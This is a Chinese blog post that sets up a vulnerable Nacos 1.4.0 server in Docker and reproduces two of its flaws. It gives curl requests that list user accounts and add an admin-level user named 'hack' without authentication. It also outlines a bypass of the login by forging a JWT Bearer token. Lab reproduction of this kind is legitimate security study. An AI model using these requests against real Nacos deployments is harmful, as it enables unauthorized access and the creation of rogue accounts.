关于NACOS-1.4.0未授权访问和旁路身份验证安全漏洞及其复现

举报
坠入极夜的夏 发表于 2024/04/15 14:56:52 2024/04/15
【摘要】 关于NACOS-1.4.0未授权访问和旁路身份验证安全漏洞及其复现

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!譬如收集大规模集群(包括网络设备、操作系统、应用程序)的监控数据并进行存储。查询使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范

漏洞复现

下载docker(root)

Linux内核>=5.5.0

uname -a//查看Linux内核

1、更新下载源

#新重写sources.list中内容,一个个字母删除太久了
cho > /etc/apt/sources.list

#进入sources.lis重新编辑apt
vim /etc/apt/sources.list

写完后按Esc退出编辑模式
之后shitf+;输入wq,回车

#其他apt

#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib

#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

2、进行系统或工具的更新

建议边下边打游戏,这样时间快一点TvT
#注:当出现正在设定软件包界面时,直接按tab+enter进行确认
apt-get update && apt-get upgrade && apt-get dist-upgrade
apt-get clean

3、采用apt安装Docker

apt-get install docker docker-compose
#
apt-get install docker.io

4、检验Docker成功安装

#启动docker服务
service docker start

#列出docker现有镜像
docker images

5、搭建环境

vim docker-compose.yml
#内容如下

version: '3'
services:
nacos:
restart: always
image: nacos/nacos-server:1.4.0
container_name: nacos
ports:
- 8848:8848
environment:
MODE: standalone

docker-compose up -d启动

访问 http://192.168.xx.xx:8848/nacos/#/login

默认用户名密码 nacos,nacos

NACOS未授权访问漏洞

访问用户账号密码列表

url/nacos/v1/auth/users?pageNo=1&pageSize=9
#pageNo表示第几页,pageSize表示一页显示几个账号,可以根据需要修改

curl -XGET 'http://192.168.1.5:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

向服务器添加用户

方法1

curl -XPOST 'http://192.168.xx.xx:8848/nacos/v1/auth/users?username=hack&password=hackers'

方法2

User-Agent 字段表示的是Nacos服务器自身作为客户端与其他服务交互时的身份标识。
Nacos-Server 是指 Nacos 服务端程序,它是 Nacos 整个服务体系中的核心组件。
    在微服务架构中,Nacos-Server 扮演的角色主要包括:

1.服务注册中心:服务提供者启动时向 Nacos Server 注册自己的服务实例信息,如 IP 地址、端口号等,服务消费者则可以从 Nacos Server 查询并订阅服务列表,实现服务间的自动发现和调用。

2.配置中心:Nacos 提供统一的配置管理服务,应用可以通过 Nacos-Server 动态地获取和更新配置信息,而不必重启服务,极大地提高了系统的灵活性和运维效率。

NACOS旁路身份验证安全漏洞

https://jwt.io/构造base64--jwt的网站

我构造的是 2024-05-12 21:21:37 --> 1715520097

构造Authorization: Bearer <access_token>

Authorization: Bearer
HTTP协议中的一种授权头字段(Header Field),常用于OAuth 2.0协议以及其他JWTJSON Web Tokens)认证机制中。当客户端通过OAuth 2.0获取到访问令牌(Access Token)后,在后续向受保护资源服务器发起请求时,会在HTTP请求头中携带这个字段以证明其身份和权限。

<access_token>
是一个由授权服务器颁发的、经过加密签名的字符串,代表了客户端获得的授权许可。服务器接收到请求后,会验证这个Bearer Token的有效性,确认无误后允许客户端访问对应的受保护资源。

jwt码放入Authorization: Bearer后的<access_token>位置

之后继续进行绕过

放包之后登陆成功

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。